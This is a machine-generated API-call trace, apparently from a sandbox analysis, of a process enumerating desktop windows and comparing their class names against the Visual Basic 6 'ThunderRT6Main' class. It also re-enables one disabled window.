	[0068.722] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.722] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0068.722] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.722] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0068.722] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.722] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0068.722] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.722] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0068.722] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0068.723] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0068.723] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0068.723] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0068.723] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0068.723] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.723] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0068.723] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0068.723] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0068.723] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0068.723] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0068.723] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0068.723] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0068.723] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0068.723] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.723] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0068.723] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.724] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0068.724] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.724] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.724] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0068.724] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0068.724] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.724] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0068.724] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0068.724] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.724] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0068.724] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0068.724] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.724] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0068.724] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0068.724] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0068.724] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0068.724] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.724] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.724] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.724] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0068.724] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0068.724] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0068.724] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x5028c
	[0068.725] GetClassNameA (in: hWnd=0x5028c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="#32770") returned 6
	[0068.725] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x5028c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x5028c, nIndex=-16) returned -1798831675
	[0068.725] GetWindowLongPtrA (hWnd=0x5028c, nIndex=-6) returned 0x7feef690000
	[0068.725] GetWindowLongPtrA (hWnd=0x5028c, nIndex=-6) returned 0x7feef690000
	[0068.725] GetWindow (hWnd=0x5028c, uCmd=0x2) returned 0x40216
	[0068.725] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0068.725] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 516882432
	[0068.725] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0068.725] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0068.725] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0068.725] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.725] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0068.725] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0068.725] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0068.725] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0068.725] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.725] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0068.725] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0068.725] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0068.725] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0068.725] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.725] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0068.725] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0068.725] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0068.725] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0068.725] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.725] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0068.725] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0068.725] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0068.725] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0068.725] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0068.725] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0068.725] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.725] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0068.725] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0068.726] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0068.726] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0068.726] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0068.726] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0068.726] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0068.726] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.726] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0068.726] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x202b0
	[0068.726] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0068.726] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.726] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0068.726] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0068.726] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0068.726] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0068.726] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0068.726] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0068.726] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0068.726] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.726] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.726] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0068.726] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0068.726] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0068.726] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.726] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0068.726] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0068.726] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0068.726] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0068.726] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0068.726] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.726] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.726] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0068.726] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0068.726] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0068.726] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0068.726] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.727] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0068.727] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0068.727] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0068.727] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0068.727] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.727] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0068.727] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0068.727] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0068.727] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0068.727] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.727] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0068.727] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0068.727] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0068.727] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0068.727] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.727] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0068.727] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0068.727] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0068.727] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0068.727] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.727] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0068.727] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0068.727] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0068.727] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0068.727] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0068.727] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0068.727] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0068.727] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.727] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.727] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.727] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0068.728] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0068.728] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0068.728] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0068.728] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.728] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.728] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.728] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0068.728] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0068.728] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0068.728] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0068.728] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.728] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.728] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.728] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0068.728] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0068.728] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0068.728] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0068.728] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.728] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.728] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.728] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0068.728] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0068.728] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0068.728] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0068.728] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0068.728] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.728] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.728] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0068.728] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0068.728] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0068.728] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0068.728] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0068.729] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0068.729] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0068.729] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0068.729] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.729] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0068.729] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0068.729] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0068.729] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0068.729] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0068.729] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0068.729] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0068.729] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0068.729] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0068.729] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.729] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.729] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0068.729] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0068.729] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.729] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
